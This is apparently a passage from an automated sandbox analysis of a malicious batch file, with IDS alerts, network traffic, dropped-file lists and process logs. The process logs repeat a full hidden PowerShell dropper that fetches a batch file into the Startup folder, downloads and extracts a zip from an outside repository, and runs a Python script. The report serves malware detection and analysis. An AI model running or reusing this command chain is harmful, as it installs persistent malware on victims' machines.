'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Second

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5940, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T11:53:04.865354+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.5	49707	TCP
2024-11-07T11:53:43.601986+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.5	49735	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T11:52:55.091963+0100	2803305	3	Unknown Traffic	192.168.2.5	49705	140.82.121.4	443	TCP

ETPRO MALWARE Terse Request for .bat - Likely Hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T11:52:53.048577+0100	2841189	1	A Network Trojan was detected	192.168.2.5	49704	140.82.121.4	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 87.3% probability

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\idlelib\Icons\README.txt	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\idlelib\idle_test\README.txt	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\idlelib\README.txt	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\adodbapi\license.txt	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\adodbapi\readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49706 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2806912075.0000018DD0EF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: and f.endswith(('.exe', '.pdb'))) source: powershell.exe, 00000004.00000002.2809247010.0000018DD3A38000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000004.00000002.2851306489.0000018DEB23A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe, 00000009.00000000.2696483117.00007FF796872000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000004.00000002.2806912075.0000018DD0F7E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000004.00000002.2806912075.0000018DD0EF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: b.pdbpdblib.pdb source: powershell.exe, 00000004.00000002.2851306489.0000018DEB252000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000004.00000002.2851306489.0000018DEB23A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: if os.name == 'nt' and srcfile.endswith(('.exe', '.pdb')): source: powershell.exe, 00000004.00000002.2809247010.0000018DD3A38000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb4 source: powershell.exe, 00000004.00000002.2851306489.0000018DEB23A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: powershell.exe, 00000004.00000002.2809247010.0000018DD535D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ll\mscorlib.pdb source: powershell.exe, 00000004.00000002.2851306489.0000018DEB252000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000004.00000002.2806912075.0000018DD0EF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbku source: powershell.exe, 00000004.00000002.2806912075.0000018DD0EF9000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2841189 - Severity 1 - ETPRO MALWARE Terse Request for .bat - Likely Hostile : 192.168.2.5:49704 -> 140.82.121.4:443

Source: global traffic	HTTP traffic detected: GET /PTT2k5/LTL203/raw/main/update2.bat HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /PTT2k5/LTL203/raw/main/Document2.zip HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /PTT2k5/LTL203/main/Document2.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 140.82.121.4 140.82.121.4
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ipinfo.io

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49705 -> 140.82.121.4:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.5:49735

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /PTT2k5/LTL203/raw/main/update2.bat HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /PTT2k5/LTL203/raw/main/Document2.zip HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /PTT2k5/LTL203/main/Document2.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive

Source: python.exe, 00000009.00000003.2753815038.0000025921146000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2760947566.0000025921019000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2762432531.0000025920F44000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pythonwin\win32uiole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_curve25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_curve448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pythonwin\scintilla.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pywintypes313.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom313.dll	Jump to dropped file

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4440:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1496:120:WilError_03

Source: C:\Users\Public\Document\python.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor
Source: C:\Users\Public\Document\python.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer,Caption FROM Win32_Processor

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\List Furniture.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\\Users\\Public\\Document\\Lib\\sim.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\\Users\\Public\\Document\\Lib\\sim.py	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: python313.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: pywintypes313.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: profapi.dll	Jump to behavior
